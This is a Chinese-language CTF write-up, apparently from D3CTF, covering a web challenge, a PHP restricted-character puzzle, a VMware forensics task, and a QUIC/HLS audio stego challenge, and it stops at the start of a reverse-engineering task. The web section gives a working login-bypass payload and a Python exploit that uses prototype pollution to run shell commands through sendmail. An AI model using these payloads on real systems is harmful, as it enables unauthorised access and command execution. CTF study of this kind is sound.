一般代码审计
登陆绕过,组一下就可以{"username":"admin","password":{"password":true}}
登陆后就是邮箱,sendmail可以任意读,args可以命令执行,思路就是直接把命令执行readflag结果导入tmp/flag然后读就行了
exp:
# coding:utf-8
import requests
url = 'http://9267351e50.8bit-pub.d3ctf.io/'
sess = requests.session()
headers = {
'Content-Type': 'application/json'
}
class flag:
def login_admin():
data = '{"username":"admin","password":{"password":true}}'
res = sess.post(url + 'user/signin', data=data, headers=headers)
print(res.text)
def readflag():
data = '{"to":"[email protected]","subject":"snowywar","text":"xxxx","constructor.prototype.path":"sh","constructor.prototype.sendmail":true,"constructor.prototype.args":["-c","/readflag>/tmp/flag"]}'
res = sess.post(url+'admin/email',data=data,headers=headers)
print(res.text)
if __name__ == '__main__':
flag.login_admin()
flag.readflag()
除了php标签外,只能使用0-9$_;+[].=>中的字符,需要输出任意指定的小写字符串。考虑使用=输出字符串,为了使生成的PHP脚本尽可能短,首先使用09_字符构建变量名储存生成的a-z字符。为了生成a-z,使用两个[]字符串拼接得到ArrayArray,然后取其中的a;再使用自加得到a-z。
input_a=input()
beg='''
par='_09'
let_dic={}
for i in range(3):
for j in range(3):
for p in range(3):
let_dic[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]
keys=list(let_dic.keys())
let_dic[keys[i]]+'=$_;'
for i in range(25):
beg+='$_++;'+let_dic[keys[i+1]]+'=$_;'
beg+='?>='+let_dic[input_a[0]]
for let in input_a[1:]:
beg+='.'+let_dic[let]
beg+=';'
print(beg,end="")
麻了,一个非预期能修两次,麻了,每次都下载6个g内容,强奸我硬盘
参考文章
:
【解密 】Vmware虚拟磁盘文件-电子物证-二十次幂 (ershicimi.com)
https://www.ershicimi.com/p/a85955bf672a9dc6e412ad70648870fd
首先它给了正常的iso,导入vm后可以发现是正常的centos7的系统
首先把他的centos7导入vm,然后查看他所生成的文件,
将centos7所生成的vmx以及vmsd直接替换至题目的文件
之后使用010进行修改s001-s006.vmdk的文件头
对照着修改,很容易发现规律。
最后修改vmx的内容,也一样对照着修改
随后便可以开机,给了内容说是guest,可以直接登录
取证一般套路就是直接history
看得出来需要去获取root权限
这里直接进编译模式了,网上一堆文章,丢个链接在这
centos7重置密码连接
CentOS7忘记root密码,重置root密码蝈蝈的博客-CSDN博客centos7重置root密码
https://blog.csdn.net/gnail_oug/article/details/94721777
重置后就可以看见文件了
04开头是解压密码,7@是目标文件,剩下就没啥了
计算md5:md5sum
★Robust
打开pcapng,首选项导入log,解密出http3数据流
发现是HIS传输,筛选所有http3包,在Decrypted QUIC处发现HLS数据
然后多个人开始手动复制粘贴成文件,根据HEADERS区分文件 (学弟学妹y(老)y(工)d(具)s(人))
接下来解HLS音频流,按照如下修改后使用ffmpeg进行合并,得到一个mp4文件。
ffmpeg -allowed_extensions ALL -i _music_index.m3u8 -c copy output.mp4
根据给出的hint链接找到如下工具:
https://github.com/quiet/quiet
使用quiet的ultrasonic模式解得一段base64编码,进而得到一个zip文件
lyric是网易云的网页接口:访问
http://music.163.com/api/song/lyric/?id=1818031620&lv=1&kv=1&tv=-1
得到一段json,存成txt大小与zip中相吻合,直接进行明文爆破
解压出txt一个,是0宽隐写,然而有一说一,做了字符集替换把我恶心导论
在线网页:
Unicode Steganography with Zero-Width Characters (330k.github.io)
http://330k.github.io/misc_tools/unicode_steganography.html
https://support.f5.com/csp/article/K05822509
https://www.cellstream.com/reference-reading/tipsandtricks/382-using-wireshark-to-analyze-quic-traffic
https://blog.csdn.net/weixin_37035452/article/details/93763122
★
Jumpjump
Ida打开,shift+F12查看字符串:
通过分析,有两个关键函数,sub_40189D()和sub_40191E(),第一个函数: